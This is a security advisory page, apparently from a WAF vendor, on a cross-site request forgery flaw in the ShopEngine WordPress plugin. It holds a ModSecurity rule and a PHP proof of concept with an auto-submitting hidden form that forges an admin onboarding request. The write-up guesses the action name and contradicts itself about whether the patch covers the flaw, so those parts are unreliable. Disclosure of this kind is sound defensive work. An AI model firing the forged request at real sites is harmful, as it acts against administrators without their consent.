Opens in a new tab
Published : November 15, 2026

CVE-2026-19088: ShopEngine <= 4.9.2 Cross-Site Request Forgery PoC, Patch Analysis & Rule

Plugin shopengine
Severity Medium (CVSS 4.3)
CWE 352
Vulnerable Version 4.9.2
Patched Version 4.9.3
Disclosed August 10, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-19088: The ShopEngine plugin for WordPress (versions up to and including 4.9.2) is vulnerable to Cross-Site Request Forgery (CSRF) due to missing nonce validation on a function. The vulnerability resides in the plugin’s onboarding functionality, specifically in the `core/onboard/onboard.php` file, which processes user onboarding data. An attacker can forge a request to this endpoint, tricking a site administrator into performing actions such as submitting their email address or other data without their consent. This can lead to unauthorized data collection and potential privacy violations. The CVSS score is 4.3 (Medium), indicating a moderate risk.

Root Cause: The root cause of the vulnerability is the absence of nonce verification in the onboarding handler function. In `shopengine/core/onboard/onboard.php`, the function that handles onboarding data (likely an AJAX action) processes the `$data` array, extracts the email address from `$data[‘user_onboard_data’][’email’]`, sanitizes it, and sends it to the plugin’s data collection service via `Plugin_Data_Sender::instance()->sendEmailSubscribeData()`. Before the patch, there was no call to `check_ajax_referer()` or `wp_verify_nonce()`, and no capability check (`current_user_can(‘manage_options’)`) was performed on this specific request. This allows an attacker to craft a request that, when triggered by an authenticated administrator (for example, by visiting a malicious page or clicking a link), will execute the onboarding process. The patch adds nonce verification and capability checks in the new `Auto_Install_Notice` class, but the original onboarding function in `onboard.php` still lacks these protections as per the diff. However, the diff also shows changes to `core/settings/action.php` and new auto-install notice functionality, indicating that the vulnerability was addressed by introducing a more secure onboarding flow that includes nonce checks and permission validation in the new code. The root cause is the lack of CSRF protections in the original onboarding handler, which the patch mitigates by implementing nonce verification and capability checks in the new `Auto_Install_Notice` handlers (`handle_dismiss` and `handle_confirm`).

Exploitation: An attacker can exploit this vulnerability by crafting a malicious request to the WordPress admin-ajax.php endpoint or a direct POST to the plugin’s onboarding endpoint. The exact action name is not specified in the diff, but based on the code, it likely uses an AJAX action such as `shopengine_onboard` or similar. The attacker would create a form or a link that submits a POST request with parameters like `action=shopengine_onboard` and `user_onboard_data[email]=attacker@example.com`. When an authenticated administrator visits a page containing this request (e.g., via a CSRF attack using an image tag or a hidden form), the administrator’s browser sends the request with their cookies, causing the plugin to process the onboarding data and send the email to the attacker-controlled address. The attacker can also include other fields as needed. The vulnerability allows unauthenticated attackers to perform actions on behalf of the administrator without their knowledge.

Patch Analysis: The patch introduces several changes to address the CSRF vulnerability. First, in `shopengine/core/onboard/onboard.php`, the onboarding process now updates options `wpmet_onboard_email_collected` and `wpmet_onboard_collected_email` after sending the email, but it still does not add nonce verification to that specific function. However, the patch adds a new class `Auto_Install_Notice` in `shopengine/utils/onboard/auto-install-notice.php` that registers AJAX handlers `handle_dismiss` and `handle_confirm`. Both handlers now call `check_ajax_referer(‘shopengine_auto_install_notice_nonce’, ‘nonce’)` and verify user capabilities with `current_user_can(‘manage_options’)`, ensuring that the request is legitimate. The patch also modifies `core/settings/action.php` to skip onboarding if the plugin was silently installed, and introduces `Auto_Install_Tracker` to mark plugins as auto-installed. These changes collectively ensure that onboarding actions require a valid nonce, thereby preventing CSRF attacks. The before behavior allowed any request to trigger onboarding without validation; after the patch, the new handlers enforce nonce and capability checks, making forgery infeasible.

Impact: If exploited, this vulnerability allows an attacker to perform unauthorized actions on behalf of a site administrator, specifically the submission of the administrator’s email address to the plugin’s data collection service. This could lead to the administrator receiving unsolicited emails, privacy violations, and potential phishing attacks if the collected email is used maliciously. Additionally, the attacker could potentially trigger other onboarding steps, such as installing or activating plugins, by crafting requests to other endpoints that lack nonce validation. The impact is limited to actions that the onboarding process can perform, which may include modifying plugin settings, installing recommended plugins, or collecting site data. However, the primary consequence is the unauthorized collection and transmission of the administrator’s email address, which can be used for spam or social engineering.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-19088
# Block CSRF attacks against ShopEngine onboarding via admin-ajax.php
# The vulnerable action is likely 'shopengine_onboard' (adjust if needed).
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
    "id:20261988,phase:2,deny,status:403,chain,msg:'CVE-2026-19088 via ShopEngine onboarding CSRF',severity:'CRITICAL',tag:'CVE-2026-19088'"
    SecRule ARGS_POST:action "@streq shopengine_onboard" 
        "chain"
        SecRule ARGS_POST:user_onboard_data "@rx ." 
            "t:urlDecodeUni,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-19088 - ShopEngine <= 4.9.2 - Cross-Site Request Forgery

// This PoC demonstrates a CSRF attack against the ShopEngine onboarding endpoint.
// An attacker hosts this page. When an authenticated administrator visits it,
// the admin's browser sends a POST request to the vulnerable endpoint, causing
// the plugin to process onboarding data (e.g., send the admin's email to the attacker).
// The attacker must know the target WordPress site URL and the admin must be logged in.

$target_url = 'http://example.com'; // Change to the target WordPress site URL

// The vulnerable endpoint is likely admin-ajax.php with an action parameter.
// Adjust the action name based on actual plugin code (here we assume 'shopengine_onboard').
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Data to send: attacker-controlled email and other onboarding parameters.
$data = [
    'action' => 'shopengine_onboard', // Replace with actual action name
    'user_onboard_data' => [
        'email' => 'attacker@example.com', // Attacker's email to receive subscription
    ],
    'our_plugins' => [], // Optional
];

// Build the request body manually for nested arrays.
$body = http_build_query([
    'action' => $data['action'],
    'user_onboard_data' => $data['user_onboard_data'],
    // Add other fields as needed
]);

// Use cURL to simulate the request (for testing).
// In a real attack, the request would be triggered by the victim's browser via a form or image.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $body);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); // Use admin session cookies if testing
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Status: $http_coden";
echo "Response: $responsen";

// To exploit via CSRF, the attacker would create an HTML page with the following form:
// <form action="http://example.com/wp-admin/admin-ajax.php" method="POST" id="csrf-form">
//   <input type="hidden" name="action" value="shopengine_onboard">
//   <input type="hidden" name="user_onboard_data[email]" value="attacker@example.com">
// </form>
// <script>document.getElementById('csrf-form').submit();</script>
// The admin must be logged in and visit the attacker's page.

// Note: The actual action name and parameters may differ. Inspect the plugin's source
// to identify the exact AJAX action and data structure. This PoC is for educational purposes.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.